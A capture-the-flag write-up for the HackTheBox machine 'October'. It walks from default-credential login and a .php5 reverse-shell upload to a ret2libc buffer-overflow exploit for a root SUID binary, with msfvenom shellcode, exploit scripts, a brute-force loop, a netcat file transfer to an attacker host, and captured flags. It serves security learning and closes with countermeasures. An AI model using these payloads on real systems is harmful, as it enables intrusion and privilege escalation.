HackTheBox - October
Active Ports
sudo nmap -p22,80 -sC -sV -oA nmap/full-tcp-version 10.10.10.16
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-16 09:26 EDT
Nmap scan report for 10.10.10.16
Host is up (0.032s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vulnerability Discovery
Navigating to the web service, we have an instance of October CMS
.
Since the box was released on April 20, 2017, this box was intended to be solved with an exploit that likely came out a few days before that date. The following page shows that there are multiple vulnerabilities associated with October CMS 1.0.412 as of April 25, 2017 which is 5 days after this box was released. The most interesting one is one where an authenticated user with media or asset management permissions is able to upload a file to gain remote code execution.
At this point, I tried creating a default user, though that user did not have those permissions.
After doing some more research on October CMS, I tried searching for October CMS default login credentials which happened to be admin/admin
.
At this point, I needed to find where the administrative login page could be found. A google search helped be identify that I can sign into the CMS backend at the http://10.10.10.16/backend/backend/auth/signin
endpoint.
Supplying the default login credentials admin/admin
, I was granted access to the administration page:
At this point, I wanted to fingerprint the CMS version so I could determine whether the file upload vulnerability I discovered earlier would work before running it.
Exploiting the Vulnerability (Missing file extension in blacklist)
At this point, I figured it wouldn’t hurt to try to upload a php reverse shell to get remote code execution. The exploit I found from earlier mentions that October CMS 1.0.412 uses a blacklist to prevent users from uploading certain files with malicious extentions. The problem with this approach is that as web server technologies evolve, more and more extensions will become valid and those files will be processed as PHP code. The blacklist did not check for the .php5
file extension, and as a result, I was able to upload a php reverse shell to the web server:
Visiting the reverse shell at http://10.10.10.16/storage/app/media/r0kit-rsh.php5
triggered the web server to connect back to my netcat listener on port 2001:
ncat -nvlp 2001
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2001
Ncat: Listening on 0.0.0.0:2001
Ncat: Connection from 10.10.10.16.
Ncat: Connection from 10.10.10.16:41818.
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
17:21:28 up 59 min, 0 users, load average: 8.34, 7.79, 6.40
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
After upgrading my reverse shell to a pseudo terminal, I managed to get the user flag:
www-data@october:/home/harry$ cat user.txt
29161ca87aa3d34929dc46efc40c89c0
Privilege Escalation
After poking around for a bit, I ran across a suspicious SUID binary:
find / -perm -4000 2>/dev/null
/bin/umount
/bin/ping
/bin/fusermount
/bin/su
/bin/ping6
/bin/mount
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/mtr
/usr/bin/chsh
/usr/bin/at
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/local/bin/ovrflw
The /usr/local/bin/ovrflw
binary was very suspicious, especially since it was added to the machine April 21, 2017 which was a day after the machine was released:
$ ls -la /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrflw
Fingerprinting the file, it happened to be an ELF:
$ file /usr/local/bin/ovrflw
/usr/local/bin/ovrflw: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped
I did some basic dynamic analysis on this binary to see which library calls it was making:
$ ltrace /usr/local/bin/ovrflw
printf("Syntax: %s <input string>\n", "/usr/local/bin/ovrflw"Syntax: /usr/local/bin/ovrflw <input string>
) = 45
exit(0 <no return ...>
+++ exited (status 0) +++
At this point, I figured I should try supplying an argument to the program and see how it would behave:
$ ltrace /usr/local/bin/ovrflw r0kit
__libc_start_main(0x804847d, 2, 0xbfc441d4, 0x80484d0 <unfinished ...>
strcpy(0xbfc440cc, "r0kit") = 0xbfc440cc
+++ exited (status 0) +++
The program was very simple since it was only copying a string to a memory address. I tried running the same program again to see if the anything would change:
$ ltrace /usr/local/bin/ovrflw r0kit
__libc_start_main(0x804847d, 2, 0xbfd712b4, 0x80484d0 <unfinished ...>
strcpy(0xbfd711ac, "r0kit") = 0xbfd711ac
+++ exited (status 0) +++
Since the memory address changed, I figured the ASLR kernel countermeasure was enabled. I was also able to verify that ASLR was enabled by checking the following:
$ cat /proc/sys/kernel/randomize_va_space
2
2 meant that ASLR was enabled to fully randomize the stack layout which was why the memory address would change after every attempt.
At this point, I figured it would be better to develop a buffer overflow exploit for this binary on one of my local machines, so I transferred the file from the October machine to my kali machine via netcat.
On the October machine:
cat /usr/local/bin/ovrflw - | nc 10.10.14.33 2002
On my kali machine:
$ ncat -nlvp 2002 > overflw
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2002
Ncat: Listening on 0.0.0.0:2002
Ncat: Connection from 10.10.10.16.
Ncat: Connection from 10.10.10.16:60560.
Eventually, I stopped the download and verified the file’s checksum to ensure it wasn’t corrupt:
$ sha1sum /usr/local/bin/ovrflw
e93408c2c717d425fd175818697c9a8d62c5022a /usr/local/bin/ovrflw
The checksum matched on my kali machine!
Enabling Core Dumps
Word of caution: only enable core dumps on debugging/development machines since they can contain sensitive information!
This isn’t a necessary step, but if you wish to enable core dumps on your machine, you can do something like the following:
echo '/tmp/core_%e.%p' | sudo tee /proc/sys/kernel/core_pattern
sudo systemctl daemon-reload
ulimit -c unlimited
The following command below disables ASLR so that you can reliably overflow a particular address:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Since ASLR is enabled on the target machine, I figured I could repeatedly run the buffer overflow until I got lucky and hit the right address since there was no rate limiting or lockout mechanism in attempting to exploit /usr/local/bin/ovrflw
.
For exploit development on Linux, I like to use the gdb with gef, so I loaded up the binary in gdb with the following:
Next, I went ahead and generated a cyclic pattern with pwntools so that I could determine how big the buffer was before the program would crash:
Notably, we can see that the crash happened at 0x62616164
in the buffer which translates to daab
in little endian ascii which meant that the buffer was 112 bytes long.
$ pwn cyclic -l 0x62616164
112
At this point, I needed to take control over EIP, so I wrote the following program to keep track of my progress:
import struct
import sys
buf_len = 112
eip = struct.pack("<I", 0xdeadbeef)
buf = b'A' * buf_len
buf += eip
sys.stdout.buffer.write(buf)
I then ran the program in gdb/gef like the following:
Excellent! I was able to control the EIP register! At this point, I needed to put some shellcode in the buffer to spawn a shell and put it into the buffer. I used msfvenom
to do this for me.
$ msfvenom -a x86 --platform linux -p linux/x86/exec CMD=/bin/bash -f python -b '\x00'
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
Final size of python file: 365 bytes
buf = b""
buf += b"\xdb\xd9\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0c\xba\x17"
buf += b"\xa5\x80\x35\x31\x53\x18\x03\x53\x18\x83\xeb\xeb\x47"
buf += b"\x75\x5f\x18\xd0\xef\xf2\x78\x88\x22\x90\x0d\xaf\x55"
buf += b"\x79\x7e\x58\xa6\xed\xaf\xfa\xcf\x83\x26\x19\x5d\xb4"
buf += b"\x32\xde\x62\x44\x6d\xbc\x0b\x2a\x5e\x22\xad\xc1\xc8"
buf += b"\xa2\x7a\x75\x81\x42\x49\xf9"
Note that I needed to encode the null byte because it is a bad character for stdin which is how the payload will be delivered to the vulnerable root SUID program.
I then updated my exploit to include the exploit in the buffer:
import struct
import sys
shellcode = b""
shellcode += b"\xdb\xd9\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x0c\xba\x17"
shellcode += b"\xa5\x80\x35\x31\x53\x18\x03\x53\x18\x83\xeb\xeb\x47"
shellcode += b"\x75\x5f\x18\xd0\xef\xf2\x78\x88\x22\x90\x0d\xaf\x55"
shellcode += b"\x79\x7e\x58\xa6\xed\xaf\xfa\xcf\x83\x26\x19\x5d\xb4"
shellcode += b"\x32\xde\x62\x44\x6d\xbc\x0b\x2a\x5e\x22\xad\xc1\xc8"
shellcode += b"\xa2\x7a\x75\x81\x42\x49\xf9"
buf_len = 112
eip = struct.pack("<I", 0xdeadbeef)
buf = b"\x90" * (buf_len - len(shellcode)) + shellcode
buf += eip
sys.stdout.buffer.write(buf)
Before proceeding, I wanted to check whether the stack was executable to verify whether I could execute shellcode directly from the buffer I used to overflow the stack:
$ readelf -l /usr/local/bin/ovrflw
Elf file type is EXEC (Executable file)
Entry point 0x8048380
There are 9 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00658 0x00658 R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00120 0x00124 RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x00057c 0x0804857c 0x0804857c 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
04 .dynamic
05 .note.ABI-tag .note.gnu.build-id
06 .eh_frame_hdr
07
08 .init_array .fini_array .jcr .dynamic .got
Notice how GNU_STACK
is not executable since it doesn’t have the X
flag enabled. This means that if we overflow the stack, we will not be able to execute code from within our buffer.
We can overcome this with a trick known as return to libc where we can jump to a memory address in libc and supply the necessary arguments.
For this scenario, I needed to run system("/bin/sh")
to get a root shell. The call to system()
is located in /lib/i386-linux-gnu/libc.so.6
which is dynamically linked to the executable.
We can check which shared object files are dynamically linked to /usr/local/bin/ovrflw
with the following command:
$ ldd /usr/local/bin/ovrflw
linux-gate.so.1 => (0xb77be000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7604000)
/lib/ld-linux.so.2 (0x800ae000)
We also need to find the offsets in /lib/i386-linux-gnu/libc.so.6
that point to the system()
and exit()
functions with the command below:
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E "(system|exit)@"
111: 00033690 58 FUNC GLOBAL DEFAULT 12 __cxa_at_quick_exit@@GLIBC_2.10
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
554: 000b84f4 24 FUNC GLOBAL DEFAULT 12 _exit@@GLIBC_2.0
609: 0011e5f0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0
620: 00040310 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10
868: 00033490 84 FUNC GLOBAL DEFAULT 12 __cxa_atexit@@GLIBC_2.1.3
1037: 00128b50 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
1492: 000fb480 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0
2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0
2386: 000fbff0 2 FUNC GLOBAL DEFAULT 12 __cyg_profile_func_exit@@GLIBC_2.2
Here, we can see that the calls to exit()
and system()
are located at offsets 0x00033260
and 0x00040310
in /lib/i386-linux-gnu/libc.so.6
respectively.
Next, we need to find a string that points to a shell since we cannot provide on in our overflow buffer. We can find such strings in /lib/i386-linux-gnu/libc.so.6
:
data@october:/dev/shm$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/"
162bac /bin/sh
164b10 /bin/csh
As seen above, /bin/sh
is located at offset 0x162bac in /lib/i386-linux-gnu/libc.so.6
.
We can also search for /bin/sh
with GDB:
$ gdb -q /usr/local/bin/ovrflw
Reading symbols from /usr/local/bin/ovrflw...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048480
(gdb) run
Starting program: /usr/local/bin/ovrflw
Breakpoint 1, 0x08048480 in main ()
(gdb) info proc map
process 1813
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /usr/local/bin/ovrflw
0x8049000 0x804a000 0x1000 0x0 /usr/local/bin/ovrflw
0x804a000 0x804b000 0x1000 0x1000 /usr/local/bin/ovrflw
0xb75c7000 0xb75c8000 0x1000 0x0
0xb75c8000 0xb7772000 0x1aa000 0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7772000 0xb7774000 0x2000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7774000 0xb7775000 0x1000 0x1ac000 /lib/i386-linux-gnu/libc-2.19.so
0xb7775000 0xb7778000 0x3000 0x0
0xb777e000 0xb7780000 0x2000 0x0
0xb7780000 0xb7782000 0x2000 0x0 [vvar]
0xb7782000 0xb7784000 0x2000 0x0 [vdso]
0xb7784000 0xb77a4000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb77a4000 0xb77a5000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb77a5000 0xb77a6000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbfa79000 0xbfa9a000 0x21000 0x0 [stack]
(gdb) find 0xb75c8000,0xb7772000,"/bin/sh"
0xb772abac
1 pattern found.
(gdb) x/s 0xb772abac
0xb772abac: "/bin/sh"
At this point, we can remap the exact base address by checking where /lib/i386-linux-gnu/libc.so.6
is located with the following:
data@october:/dev/shm$ ldd /usr/local/bin/ovrflw
linux-gate.so.1 => (0xb773e000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7584000)
/lib/ld-linux.so.2 (0x800eb000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw
linux-gate.so.1 => (0xb7754000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759a000)
/lib/ld-linux.so.2 (0x800dc000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw
linux-gate.so.1 => (0xb77cf000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7615000)
/lib/ld-linux.so.2 (0x800f5000)
Notice how the base address of /lib/i386-linux-gnu/libc.so.6
changes each time. This is because ASLR is enabled.
On 32-bit machines, the chance of guessing the base address is 1/4096 which can be brute-forced very quickly.
Therefore, the base address of /lib/i386-linux-gnu/libc.so.6
can be guessed with enough attempts.
For this example, I will remap the absolute addresses of exit()
and system()
like the following:
exit = 0xb7584000+0x00033260 = 0xb75b7260
system = 0xb7584000+0x00040310 = 0xb75c4310
/bin/sh = 0xb7584000+0x00162bac = 0xb76e6bac
I then updated exploit.py
like the following:
import struct
import sys
buf_len = 112
system_addr = struct.pack("<I", 0xb75c4310)
exit_ret_addr = struct.pack("<I", 0xb75b7260)
binsh_addr = struct.pack("<I", 0xb76e6bac)
buf = b"\x90" * buf_len
buf += system_addr + exit_ret_addr + binsh_addr
sys.stdout.buffer.write(buf)
The format of the buffer is essentially the following:
NOP SLED|RETURN ADDRESS|PREVIOUS STACK FRAME ADDRESS|FUNCTION ARGUMENTS
I wrote loop-exploit.sh
to run exploit.py
until I got a root shell:
#!/bin/sh
while true; do
/usr/local/bin/ovrflw $(python3 exploit.py)
done
www-data@october:/dev/shm$ ./loop-exploit.sh
Segmentation fault (core dumped)
Segmentation fault (core dumped)
... CONTENT SNIPPED ...
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# cat /root/root.txt
6bcb9cff749c9318d2a6e71bbcf30318
Countermeasures
- Keep October CMS updated to the latest version.
- Change the default login credentials on October CMS.
- Upgrade the operating system the latest version (x64 bit is preferred to make ASLR more effective).
- Don’t keep vulnerable root SUID binaries around on the machine.